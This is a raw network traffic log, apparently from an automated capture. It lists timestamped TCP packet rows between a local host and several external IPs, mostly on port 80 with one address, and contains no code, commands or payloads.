Nov 23, 2024 21:59:42.746296883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.746973991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.747018099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.747342110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.747452021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.747791052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.747803926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.747832060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.747849941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.748513937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.748574018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.749243975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.749294996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.749325991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.749339104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.749361992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.749381065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.750124931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.750217915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.750318050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.750408888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.751029015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.751079082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.751095057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.751118898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.751672029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.751725912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.751800060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.751842022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.752485037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.752538919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.752612114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.753210068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.753263950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.753515959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.753570080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.754126072 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.754137039 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.754168987 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.754215002 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.754228115 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.754245043 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.754246950 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.754281998 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.766388893 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.766454935 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.766464949 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.766480923 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.766525984 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.774041891 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.774055004 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.835304022 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.835393906 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.835426092 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.835463047 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.835479021 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.835500002 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.853009939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.853029966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.853063107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.853087902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.853418112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.853498936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.853521109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.853534937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.854163885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.854224920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.854360104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.854402065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.854962111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.855019093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.855288982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.855331898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.855734110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.855787039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.856313944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.856355906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.856508017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.856585979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.857130051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.857168913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.857311010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.857403994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.857498884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.857537031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.858112097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.858200073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.858277082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.858319998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.859107018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.859157085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.859184980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.859380007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.859672070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.859735012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.859761000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.859867096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.860481977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.860539913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.860646963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.860685110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.861327887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.861340046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.861366987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.861378908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.862014055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.862088919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.862253904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.862433910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.862802029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.862889051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.862924099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.863598108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.863640070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.863775015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.863806963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.864362955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.864402056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.864562988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.864595890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.865149021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.865184069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.865343094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.865468025 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.865478992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.865495920 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.865530968 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.865544081 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.865566969 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.865580082 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.865948915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.866008997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.866369963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.866410017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.866719961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.866751909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.866945982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.866987944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.867558956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.867594957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.867868900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.867902040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.868299007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.868344069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.868637085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.868676901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.869098902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.869138002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.869247913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.869290113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.869852066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.869863987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.869903088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.870675087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.870711088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.871062040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.871105909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.890793085 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.890814066 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.890847921 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.890852928 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.890887976 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.911540985 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.911564112 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.911600113 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.911609888 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:42.911623955 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.911647081 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:42.939322948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.939681053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.939692974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.939744949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.939775944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.939810991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.940033913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.940082073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.940603971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.940884113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.940932035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.941385984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.941822052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.941869020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.942152023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.942415953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.942461967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.942965984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.943438053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.943486929 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.943734884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.943902016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.943943977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.944525003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.944699049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.944746971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.945306063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.945511103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.945559978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.946106911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.946368933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.946424961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.947035074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.947125912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.947174072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.947762966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.948116064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.948167086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.948569059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.949199915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.949249983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.949264050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.949273109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.949290037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.949320078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.950020075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.950210094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.950258017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.950809956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.950853109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.950890064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.950927973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.951587915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.951678991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.951901913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.951944113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.952348948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.952418089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.952541113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.952579021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.953150034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.953212023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.953257084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.953313112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.953939915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.953989029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.954226017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.954273939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.954715967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.955014944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.955061913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.955528021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.956254959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.956295013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.956310034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.956312895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.956361055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.956361055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.957102060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.957406044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.957457066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.957839012 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.958020926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.958065033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.958681107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.958837986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.958884001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.959456921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.959467888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.959506035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.960349083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.960397005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.960690022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.961019039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.961033106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.961071014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.961512089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.961777925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.961787939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.961819887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:42.962203979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:42.962246895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.019023895 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.019088984 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.019649982 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.030972958 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.031003952 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:43.031058073 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.031178951 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.031219006 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:43.031295061 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.034200907 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.034233093 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.034271955 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.034276962 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.034323931 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.036211014 CET	49880	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.036221027 CET	443	49880	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:43.036818027 CET	49881	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:43.036828041 CET	443	49881	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:43.037889004 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.037895918 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.037919998 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.037924051 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.042887926 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.042917013 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.043129921 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.043509960 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:43.043523073 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:43.049407005 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.049428940 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.049484968 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.049490929 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.049530983 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.062935114 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.062953949 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.062994957 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.062999010 CET	443	49865	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:43.063045025 CET	49865	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:43.063707113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.063823938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.063838959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.063863993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.064029932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.064078093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.064119101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.064155102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.064739943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.064798117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.065573931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.065586090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.065598011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.065614939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.065643072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.066487074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.066567898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.066643000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.066715956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.067118883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.067154884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.067199945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.067322016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.067877054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.067991018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.068026066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.068747044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.068758011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.068787098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.068800926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.069448948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:43.069497108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:43.069545031 CET	80	49809	185.215.113.206	192.168.2.6
